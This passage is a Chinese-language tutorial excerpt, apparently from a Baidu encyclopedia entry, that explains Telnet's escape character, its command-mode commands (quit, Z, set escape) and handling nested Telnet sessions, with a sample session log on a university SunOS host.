建立"escape"字符到某個特殊的符號,若想用某種控制符號來代替,可以用"asis"或者鍵入符號"^"加字母b(如:^b)。在正常工作時,是不需要用"escape"這個字符的,并且這個被用作"escape"的符號不應(yīng)該再被使用。這類似于許多程序中對鍵盤上的每一個鍵設(shè)定其真正的涵義。但如果正在運行一個 daisy-chained 應(yīng)用系統(tǒng),那么可以重新議定"escape"字符的特征便是很有用的。例如:用Telnet從系統(tǒng)A到系統(tǒng)B,接著又用Telnet注冊進入系統(tǒng)C。如果正在系統(tǒng)C上工作時出了
故障,那么當"escape"代表符是相同時,就沒法中斷系統(tǒng)B到系統(tǒng)C的連接。鍵入"escape"代表符,將總是處于系統(tǒng)A的命令模式。如果在每個Telnet部分使用不同的"escape"代表符,便可以通過鍵入適當?shù)姆?,來選擇其中一個命令模式,這也可以用于其他的應(yīng)用中(像終端仿真)。
Quit:
用它可順利地推出Telnet程序。
Z:
用語保留Telnet但暫時回到本地系統(tǒng)執(zhí)行其他命令。并且在Telnet中的連接以及其他的選擇在Telnet恢復(fù)時仍被保留。
Carriage Return:
用于不具體的一個命令從命令模式返回到所連接的遠程機器上。另外,還有許多其他的命令可以推出命令模式。下面舉一個例子,是從注冊進入到porky.math.ukans.edu ,然后進入命令模式,然后返回porky::
telnet porky.math.ukans.edu
Trying 129.237.128.11...
Connected to porky.math.ukans.edu.
Escape character is ';^]';.
SunOS UNIX(porky)
login:wl
password:
Last Login: Tue Mar 28 05:35 from ns.bta.net.cn
SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999
No match.
if:Expression syntax.
porky/serv/wl%cd/
porky/%CTRL-]
telnet:?
CoMMands may be abbreviated, CoMMand are:
open connect to a site
close close currect connection
quit exit telnet
display display operating parameters
send transmit special characters (';send ?'; for more)
set set operating parameters(';set ?'; for more)
status print status information
toggle toggle operating parameters(';toggle ?'; for more)
mode try to enter line-by-line or character-at-a-time mode
? print help information
telnet:set escape ^b
escape character is ’^b’
porky/%logout
ns.bta.net.cn%
注意:set命令也可以退出命令模式。當然,如果不行,可以回車輸入一空行,也能回到porky。
http://baike.baidu.com/view/44255.htm